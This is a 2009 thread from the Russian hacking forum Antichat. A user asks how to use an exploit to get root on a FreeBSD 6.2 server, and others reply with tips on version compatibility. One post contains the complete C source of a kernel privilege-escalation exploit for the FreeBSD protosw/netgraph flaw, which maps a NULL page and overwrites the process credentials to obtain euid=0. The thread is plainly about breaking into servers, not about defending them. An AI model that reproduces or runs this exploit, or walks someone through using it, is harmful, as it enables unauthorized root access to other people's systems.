Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Повышение привилегий в FreeBSD 6.2 (https://forum.antichat.xyz/showthread.php?t=146323)

TreV@N 07.10.2009 07:17

Повышение привилегий в FreeBSD 6.2
 
Здравствуйте.Есть сервер с frebsd 6.2 и exploit .Мне нужно повысить свои привилегии до root'a.Вот только не знаю как exploit'om пользоваться.Подскажите как это осуществить.

krypt3r 07.10.2009 08:02

https://forum.antichat.ru/showpost.php?p=217087&postcount=6

TreV@N 07.10.2009 17:07

Спасибо.Но почему-то не получается.

it's my 07.10.2009 17:14

Цитата:

Сообщение от TreV@N
Спосибо.Но почему-то не получается

постой, дай угадаю, наверное не получается потому что там тоха пишет про никсы, а у тя фряха

mailbrush 07.10.2009 17:20

Значит патченная фряха у тебя.

TreV@N 07.10.2009 17:36

Цитата:

Сообщение от ГОПnick
Расскажи где сплоит на фряху 6.2 взял?

http://www.milw0rm.com/exploits/9488

Цитата:

Сообщение от it's my
постой, дай угадаю, наверное не получается потому что там тоха пишет про никсы, а у тя фряха

А где можно про фряху почитать?

mailbrush 07.10.2009 17:38

TreV@N, на версии смотри внимательнее - у тебя 6.2, а эксплоит для FreeBSD <= 6.1

TreV@N 07.10.2009 17:47

Цитата:

Сообщение от mailbrush
TreV@N, на версии смотри внимательнее - у тебя 6.2, а эксплоит для FreeBSD <= 6.1

The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.

Pashkela 07.10.2009 17:58

этот попробуй, правда он для 6.3, но мало ли:

Код:

/*
 * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
 * defined here:
 * http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
 *
 * This will overwrite your credential structure in the kernel. This will
 * affect more than just the exploit's process, which is why this doesn't
 * spawn a shell. When the exploit has finished, your login shell should
 * have euid=0.
 *
 * Enjoy, and happy holidays!
 *  - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008
 */

#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e

typedef unsigned long ulong;
typedef unsigned char uchar;

int
x(void)
{
        struct proc * p = (struct proc * )PATTERN1;
        uint * i;

        while(1)
        {
                if(p->p_pid == PATTERN2)
                {
                        i = (uint * )p->p_ucred;
                        *++i = 0;
                        break;
                }

                p = p->p_list.le_next;
        }

        return 1;
}

int
main(int argc, char * argv[])
{
        ulong addr;
        uchar * c;
        uchar * d;
        uint * i;
        void * v;
        int pid;
        int s;

        if(argc != 2)
        {
                fprintf(stderr, "usage: ./x <allproc>\n");
                return 1;
        }

        addr = strtoul(argv[1], 0, 0);

        v = mmap(
                NULL,
                (PAGES*PAGE_SIZE),
                PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_ANON|MAP_FIXED,
                -1,
                0);
        if(v == MAP_FAILED)
        {
                perror("mmap");
                return 0;
        }

        c = v;
        d = (uchar * )x;
        while(1)
        {
                *c = *d;
                if(*d == 0xc3)
                {
                        break;
                }

                d++;
                c++;
        }

        *c++ = 0xc3;

        c = v;
        while(1)
        {
                if(*(long * )c == PATTERN1)
                {
                        *(c + 0) = addr >>  0;
                        *(c + 1) = addr >>  8;
                        *(c + 2) = addr >> 16;
                        *(c + 3) = addr >> 24;
                        break;
                }
                c++;
        }

        pid = getpid();
        while(1)
        {
                if(*(long * )c == PATTERN2)
                {
                        *(c + 0) = pid >>  0;
                        *(c + 1) = pid >>  8;
                        *(c + 2) = pid >> 16;
                        *(c + 3) = pid >> 24;
                        break;
                }
                c++;
        }

        s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
        if(s < 0)
        {
                perror("socket");
                return 1;
        }

        shutdown(s, SHUT_RDWR);

        return 0;
}


ГОПnick 07.10.2009 18:05

отлично! где взял? мне как раз ещё и для 6.3 ещё нужен был!!


Время: 21:26